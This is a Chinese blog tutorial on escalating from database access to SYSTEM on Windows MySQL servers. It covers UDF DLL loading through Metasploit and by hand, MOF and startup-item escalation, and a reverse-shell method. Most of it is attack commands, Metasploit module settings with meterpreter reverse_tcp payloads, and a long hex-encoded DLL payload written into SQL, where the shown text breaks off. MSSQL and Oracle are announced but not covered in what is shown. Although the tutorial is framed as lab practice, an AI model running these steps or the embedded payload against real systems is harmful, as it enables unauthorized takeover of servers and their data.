Windows提权—数据库提权-mysql提权&mssql提权&Oracle数据库提权

sysec.

已于 2024-04-01 00:20:26 修改

阅读量1.4k

点赞数 26

分类专栏：权限提升 Web安全文章标签：数据库 windows mysql 网络安全 web安全

于 2024-04-01 00:17:56 首次发布

本文链接：https://blog.csdn.net/rumil/article/details/137213350

版权

本文聚焦Windows系统下的数据库提权，涵盖MySQL、MSSQL和Oracle数据库。详细介绍了MySQL的UDF提权、mof提权、启动项提权和反弹shell等方法；阐述了MSSQL的权限划分及使用xp_cmdshell和sp_oacreate提权的操作；还提及Oracle数据库可直接用工具提权。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Windows 提权—数据库提权

一、mysql提权

1.1 udf提权

了解UDF

UDF(user-defined function)是MySQL的一个拓展接口，也可称之为用户自定义函数，它是用来拓展MySQL的技术手段，可以说是数据库功能的一种扩展。

通过在udf文件中定义新函数，对MYSQL的功能进行扩充，可以执行系统任意命令，将MYSQL账号root转化为系统system权限。

获取网站数据库账号密码

1.对于CMS，查找配置文件（inc.php/config.php/connect.php)

2.查找Mysql安装目录，在安装目录“/data/mysql/user.myd”中存放了root账号密码，可通过md5解密获得。

3.使用查询语句进行查询

select user,password from mysql.user; 
select user,password from mysql.user where user ='root';

使用UDF提权的知识储备

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like '%plugin%'; # 查看plugin路径。
show global variables like 'secure%'; #secure_file_priv值是否为空

利用条件：

mysql版本大于5.1，udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下，该目录默认是不存在的，需要使用webshell找到mysql的安装目录，并在安装目录下创建MySQL\lib\plugin\文件夹，然后将udf.dll导入到该目录。
mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录，在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户，从拥有对mysql的insert和delete权限，以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
可以将udf.dll写入到相应目录的权限。
知道root账号密码

1.1.2 操作方法一、MSF自动化–UDF提权–漏洞利用

在my.ini中添加属性"secure_file_priv = ’ ’ "，secure_file_priv 为目录限制

secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
 
当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
 
当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制

因为mysql默认设置是不允许导入导出的；secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限

通过webshell，通过配置文件获取数据库连接密码，md5解密即可，然后进入数据库并开启外连（默认是关闭的）

因为webshell后门在靶机本地所以可直接进行数据库连接和访问(内部到内部的连接)，也可在webshell管理端执行sql语句。其他外网地址不开启外连无法连接数据库。

靶场/目标设置：

信息收集若发现存在phpmyadmin，则在phpmyadmin中开启mysql远程连接

（或者在webshell当中连接数据库，执行sql语句也可以）如下图，已开启外连：

若没有开启则执行以下sql语句：

执行use mysql;

执行grant all privileges on . to root@‘%’ identified by ‘密码’;

或

GRANT ALL PRIVILEGES ON . TO ‘root’@‘%’ IDENTIFIED BY ‘root’ WITH GRANT OPTION;

执行flush privileges; 进行刷新

使⽤MSF中的自动化模块，exploit/multi/mysql/mysql_udf_payload 模块可以进⾏UDF提权

通过webshell创建plugin文件夹，如下图：

navicat连接：

1、启动msf，进入模块设置参数，执行导入dll

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 数据库密码
set rhosts 目标ip地址 #靶机IP
run

配置设置，然后开始执行，等待即可：

2、在webshell端查看是否创建成功，也可以使用数据库管理工具navicat连接mysql，执行命令下面命令查看dll是否导入成功，并且新建函数sys_exec

select * from func;

成功生成，如下图：

3、sys_exec无回显，使用创建的dll生成自建函数sys_eval

create function sys_eval returns string soname 'xxxx.dll';	//生成的.dll文件名称

执行过后，再次查询，成功创建

4、执行系统命令

select sys_eval('whoami');

1.1.3 操作方法二、手工导出sqlmap中的dll

sqlmap中有udf文件，一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

1、将sqlmap中的dll_文件解码为dll；cloak.py目录为：sqlmap/extra/cloak

python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

2、使用navicat连接本地数据库；将我们的udf.dll文件通过十六机制进行处理；

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';

3、使用navicat连接靶场数据库，新建一个数据表，表名为udftmp,用来存放本地传来的udf文件的内容

create table udftmp (udf LONGBLOB);

4、在udftmp中写入udf文件的十六进制内容

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));

5、将udf文件内容传入新建的udf.dll文件中，路径根据自己的select @@plugin_dir;修改。

SELECT @@plugin_dir;
SELECT udf from udftmp INTO DUMPFILE "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";

6、执行下面语句，创建函数cmdshell

create function cmdshell returns string soname 'udf.dll';

7、执行命令

select cmdshell ('whoami');

8、清除自定义函数

delete from mysql.func where name='sys_eval';

1.1.4 操作方法三、 moon.php大马利用

1、利用大马查询mysql版本、数据库用户、安装目录以及plugin路径

2、如果不存在相关路径，可以通过大马进行创建

3、在my.ini中添加属性"secure_file_priv = ’ ’ "

secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
 
当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
 
当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制

因为mysql默认设置是不允许导入导出的；

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限

4、执行命令，查看mysql版本位数

show variables like '%version_%';

5、上传UDF提权专用shell “/webshell-master/net-friend/php/moon.php”

6、导出udf后提交，创建sys_eval命令并执行命令

1.2 mof提权

mof提权成功概率低

描述

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后，可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后，提供程序、事件类别和事件信息便可由 WMI 和 Visual Studio Analyzer 使用。在 MOF 文件中创建提供程序、事件类别和事件类的实例，并且定义想要分析的自定义对象，之后，就可以对该文件进行编译

原理

mof是windows系统的一个文件（在c:/windows/system32/wbem/mof/nullevt.mof）叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。

影响版本，windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
使用MSF模块

use exploit/windows/mysql/mysql_mof
set password 数据库密码
set username 数据库账号
set lhost 0.0.0.0
set lport 监听端口
set rhost 目标IP

公开的nullevt.mof利用代码

也可把mof.php上传到脚本填写命令导出即可

1.3 启动项提权

MSF自动化

use exploit/windows/mysql/mysql_start_up
set payload windows/meterpreter/reverse_tcp
set rhost 目标ip 
set lhost 0.0.0.0
set lport 监听端口
set username 数据库账号
set password 数据库密码
exploit

细节问题：注意设置set AllowNoCleanup true否则无法运行

启动项目录：

资源管理器执行：
%ProgramData%Microsoft\Windows\Start Menu\Programs\Startup
或
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

cmd命令：
shell:startup

或在开始菜单选择所有程序找到启动左键点击浏览所有用户即可

将生成的后门直接加入启动项，系统只要是重启或者重新运行就会执行exe文件

执行后，成功生成启动项文件：

生成成功后，当重启系统时，启动项会自动运行，我们再开启一个msf，进行监听，重启靶机，直接接受到shell，如下：

1.4 反弹shell

执行以下sql语句，可进行反弹shell，通过将.dll文件以十六进制编码的形式写入到数据库的数据表当中，创建函数，通过引用数据库当中的.dll十六进制编码数据执行反弹shell命令，监听端即可接收到shell，开启msf设置监听即可。

set @a=concat('',
0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d907c54eb2604d8f4e3865d8c7e8659acd1928182206c0efad42664b6ef473f74d7a8d681273590a487f250c143bd18253c3df904b620f4203757b029d8b41bfbcb9ace3d5e7673386dab5e3e486a3f49bbf89f5a4c67e0c1067c0adf6bbdfa43cd6289c1e45e46fc4f236a708684f9461787a90f6fd9a1f55690bbb3ddfcb94d960c39f58110acd1a4538b6ae85b06e4024610575bc3069a2b90b07e01096854e1e8bd00260bd495f975c8543030031c6fbcd201bf384f27f72af8c9ce354ef66a27fbc04dc0bb34f7a67518575d78bcac95243f1743b0f843f7806d1b6278766e05e90694a328230b378516ece63e46180a0c2d3972674fa8de29c864198e66173bea93f54995bfaa4b1e8638ba111187e26161d23ddbaff9a1dde6c8601b6c1c5e0658a153685de38e7a92a39d34587d67d10da2d7a01e70ac5488b16d0002229154101f0d5f6afd6636f7e376a3d5842861f8c5642b81676a5a3dc14de9bfe1e3011cb9e4cdd6a1afa87e84f86ee792a090f48f9540a23eb0928cf8d9f52a44acba76c827494bb6ef8971f1690d441f0ba8322b5cb15ee105e95ab47f560ecef4d5046c75ded3523549b3a2a0c878906af9ef17bddb57d82a437932d9b6802cf178e34f9c4764054f01902258e7d2317b9a98e78bc273e406d6fd2d33c4270cfd4596fedec01c4f9e6216f73a71e930b208d247dceee69f0d1f55a179c70b69f71c0e8a8b4cfdd89cdb1908d6d96b33d98a26456f79f26c744f9f7508983324cc354c1f20f89480c8c506fa04f59cb8ae99f8bf4ae9ba8b06f6aa052b695aa5da8143eefda5b3a4d65b0333f944861d2d53503236151731f4b262d66597865ffebc3474f3566b56f4ba520e9fd933c304ef9ca43bd6336e9b82e0e76724c1820aa1bc231ae694cf759938c29c210cb676885a65b4ae212f4382788458ea9a136bfc9bfed6f159e0844c4db54a3bac68d95cc91623f7e1476f8f736c131097daf671157f18d67116a2d273fa9e53375955bb7bb6ecb3518e7f05dd9248a1e26607708ab2a67904c44325fbe219e04512da82e93d466fa33a7d00d70d1cd45d650f3bf001bd7a2d0ae1c545fb75fb6af69bbde85e358e272b26dd2ea189db0a41c1131ec3882d5b72e3a643e02527909758ba4bd542746b60d822b35884b828a12b683aa4abd4861f7a249bbc0dbc12559e88c2bce5bf5aa35c0b17c69794abbc5765e7eabca36ebfb7318998f974d42f3df2564e29abe38e7671d25702051346b86fa36f6b71dae27e7506e5a5a790658646ab672bb825857890107e837992ab33ad751963c155d5d85dbca61092accb9e38c4589db3487082068f2dfc818fe05f8ce8a18dfc6716e0466e87d79ad6bf1353b0a34be96416d0f44c44a9563fdbc2c093875a385ecfdc6e11a488964690333669e8dc714957e0e1b3ce29c2309bd17ccc74520cda658381385821f44137a3486a682fcefc2e111d8304264538a64e8acb6e791960342463f970c4d250e154f28b66a5a7011bf7942c04e053804c100e79a1cbc4278f689ab9a3bd4669928bcad4c165644b53695fc7910a2129a872e548de830ef3b7ee255e7b6480f06f9fd895e84e5b5e038ffc0389317e95a79dbe8c95c8b8bcaef5a524abd85da966e905d2db3946d56eee8f5006ce54eea02c035af841bdcf95509422fc24329e6a03bf6eafbefe5b6ffe19f45a63ceb73ef8bcb0ea9e3030d27c3d6a8ddd88b041dc47fb229431498262a8887785dd8657c055229dad916a71360aa931bd7e158b6c17e3a2d8cefd88f77e40ebbcfa4db96b89d6f51402d7e325a8e64fe1fab085568dc5f373bce2bd05b24eb60f87214fa162086d5521d39ee0eb565f86f338ff996e3fcf4a9dc36f3a32cdcc356eff69cc0f5bacea0f331494796d808168b83eeb8489c0f687052c709e7558005e7d34aa60424265cc8a656d065ca83b78ed51d0a2a6f1768c3048ade80275469ca6091a5720d56e36c1c5dc0f6fa344259d34c2324821ede5ce0ddf1b9d9132270a6c2ace863d258b5377f3dabd660a0c4d59278fa23f056d76b077812e7db036500bdd1bb333043ff1aa5267ed828ee5af9e4cdbdeea851f3234f93700e681f13b5eacb938e03851d4e80f319d5dc8e6439fa41475d6f133d131cebefe4db7f3a7c0b9d62511805373e2a5ccb637b81fd27fddf03eb72d74bf20b54e00a501acf1a61aba9d994055402d838b85930912630335e5b545c0058d9474e5ac355a5f630f8ae6e3860bf8a62798926179a3bc9c2e7264752ea7a0b45bb6053169504510e70a043d3efdc5af76a2e1df04c2a2b7cf96dff5e8f212510d9dfec01b425107c9c8fa7500637a27eff7bb7eb7935566bfaf5d37323def1740318875ba2e0cea9dd3ae9ab7d0bf74ad9fb7c87c91a62aafd80b8661f28d5148d92a4f8f80167b786751a40edca8b3de8c2bb05c7cd682865ac3493377cba23a4e1fea18299336e7533e38af3598acde9646c1d6164b3fa8059aaa522824f6ffb90c12b4827d0e0302153f2126201bb6b588875cab0d346a7dc8749654f503f01bd9a4e672a88104829417bfd2e344b435fd111ce7ff27b56c81b44c487df01e63f0ba70228ad76fa2b4e0d5a57d7f63827afc2328a3f6b679eb581c9247689baf8057fc892bf5b323f19091b085bfd1625d7458d8a8a8ba3248fe992fe9edb14dafe34355234271d9ceaf4e9e298c02743be6b5488a8e248baae788e793301078ebc3824424374a0624404d6ce2d268fcf0052a20125e71295eea2b0c395ecb2f4bc20efd7270e4b00f2a17de04a587c4e17bdbb07713f830be090c4200db5477f75e44c9714d4eee288e438fd3c6887e5b08ba6f2f015dc749871fed99ac7bb5d25de80ff396f0139c1a98ecf25971383068cd71083d9a3d11f73860372efeb266da459d9e3f49d7c6a47e034ba7d97142cc6183bdcd38b0881ae18061070e767f68835d8e51dd585dbb6597b8e66ea60a553d876bd355b83d2c1340385ecfacda26d65c744aa6d025dd393ec353778c0c24df4abce8f96006856ce322cc902aed08ad19ec4c01ea392ddd15ea0b6f25fab35cc314169c440e9552e5dcfbf02a7eb924c8f40e7299245d550ced955f57dda2b95770de0f80041384f26f075cf4eeb0b893f5a3844e9779b5ed0c83810f6ff31836f6c289a7bdfc95e9d452f931e6dad9252d97220485e59aea90fa8df84b17e993f1627ac66a7ce4920eb63fd7f27b0969e7e19fb83f8252623818cd78ca73414cbb5be0f242ed5fbe337fafb88cc3d203b5cbc73daef664635f7c9db24a6a7795ab7f2fec1d47cda394ca4367013911174e0a7949c6a8993483c76891b248803a5be67deed96cf301a14ab61246be742eb8e3a09d3c619ad9f3320ff53b99c2b6b2f41b009d629ce0df2494836158fbe4bf7e3460d88cb212c99a4decf3f9ccec071f494269d7bd570b5ea0fca07485e5326a4a6727e7e0c101375e4239535ee6b0d63a20c3c9bfc5d0dd9940348c3421673039371ae3074698e7167c70fc635ecb2daa207aaf4570043f2dadb1af007b930d979cc0da729baff0e077df062ad3f2bcbd4e9daebd96f90fe9946cd88eee0d72a9ed035af0bfceb843a2399468088a24d8b999403438fc99f0da8e4a91a939953ffaf7251ca3fd466ff2110afb33242e278c6b072f5ed3df4c1482d28722874f0b1f30226bf336699766333dc331abf7ec09466be15eceaa2bc8d6b21ba56d5e960b7b485466ac92f03b3ae98bdc441686e2d89975756dd922bde9f8760c6a9a21e046d9f38ad2477e5c11e306b7f335eb5bdc198c28a28139b4944f43cd22b6798e89ed772271a43f1c802db013d047977dfd98361a4ee89186dbfe61fbfa02432ac4645f0ded7e6ec07e82f102922c1917082529e3a364b43196e93c1ec6353a0f972165d63b2086e43d31c21e28136e72f338ffeea68bca8490d58227d435dcd2defed8ca49cf486ab29b7e776220e66c20636f1f551d54bae83b4996ec68d656f1a29b82d806f5498f29178f503919d517835f289d4b5f679d61c4f91522ed8ab502b544346ed3b3c2fc949a149a24a703aa524a38a233323a02fe5fd220884d708999f227cc27f800b6b00c4cae107def5b0cb9ca4336875662af9622231b38521463432c4b7ef837569efbad1fb7d6ca953e28d1d0e520b0c98fd74a424a6c06d41a60d7cd6e8ee721847acf03f996c371c321a83bf15d37c72aaa44b51bf5a7e8caf1c3787eee48aaf372f010931cff21682968b2033bf4809203203ec61566f96fcd2acd00172d91e9bfb5b8025652263281d985b316040ddef4aeac0f8e3542b41b76ff98b5d0303854aaa254c3a841867bb25c65fcbc2271814b525be74b3401b240fe5fa3ab12175af55366c7a839fa2c7ff59f85bf0b51943df5c12537ca78ae77c176c5e4002a87893a62c256f0c4f86778e4e059c0aa20e75bfc5c2835f4df0fcd7ac1171f49a8ce39ec5b6a2f69b995997dc62f7638c6e379846045e4a6ee0c1dfd162e2655b45769fa10e87bfd6b4a488477dd4f8e70cdbdbeeff66daa8715f286ac7a73506871cc21e4f7ef300b6c295c78c1b3e5d6031d7fb3be5b5635bdb92bf94c3f4e4335724182facaa37c5d65ff165913ff61cd8971d178a62444e45d6c92b19bc9a1b21febe3715a1f9f916aaab25910986da22c736954bfbf8b0c0281b1ef97b9851b12ff39d1ad97dbecde06fb708a588f4bc99dc5d52f1ab87407b40c1e06d23761e354a2dfde9324f64b7d3391c5d2857904a12965011bd2d1f5d6e5fadc4d4acd5605167f10172dfbdf466ef9f34fd1b5b290d426bb3c4c812de12616016c6dfed62615f522342a1157218cc54ecb2874a3fff11d97810c5d667413cf74008b6ba55cf547d7ad1e10930da17f15a7b9979dcdec0191f00fecc45a8321f0ec2c4c2abc963f8bdf34f3d05b8db7591880c0e36ea294ca4e483be57094addbf9edae51f8b0c97bf47861304e7b304f3591f1f2e6f2b287b3ce9e64fefad5e811725b9a41ea799735ac307790582e651e16020bcb3c4a4c34735b4c6527703674d5506d63e7a5a5511018dd34532ca896906e1b8c9dcfab3ae32e52727f9322ca39609cfbcf058e20920c673e7af34cc8f3450b3a52e16deb895cdb2e412d26b88b9c2837bcb7f82c9992cdbe9dea677a34e4d9c612cb2dcdbcc9a2eb11d77558410c483844a7a9cca54e1a2a2d74d131817dbbefa63405bbbe04c659868fe80cf240daf9c26eebdb898077e59114a226bcd0d8a24e2ededb73f18128661f5ed021b14ccd6c706ad72dd68614248496fda0e7428ac21269c6cdfd567800cf258f031de85d46a1dd9f962acc481085a1078e95f9a839d5c08e55c2652879d2c2506429689612ed4a6431b1e2302965b00f9ae4c6520f18711ee8e618d4dca0d4927b88381cc0d5fe9652f29a3e45faf1918a1663b0a117fc3ba17640c01d60b305d4aa89afc9a50517e78bd488b66c4bda8ed57e3ba56270478bebb4737580f1f77785cb60bfcdfe840e9053d3b5f06750adcfbfe713cb46a1df4b7a828a4f3c8117e208a7b3d8d934b408478101d29dba20493b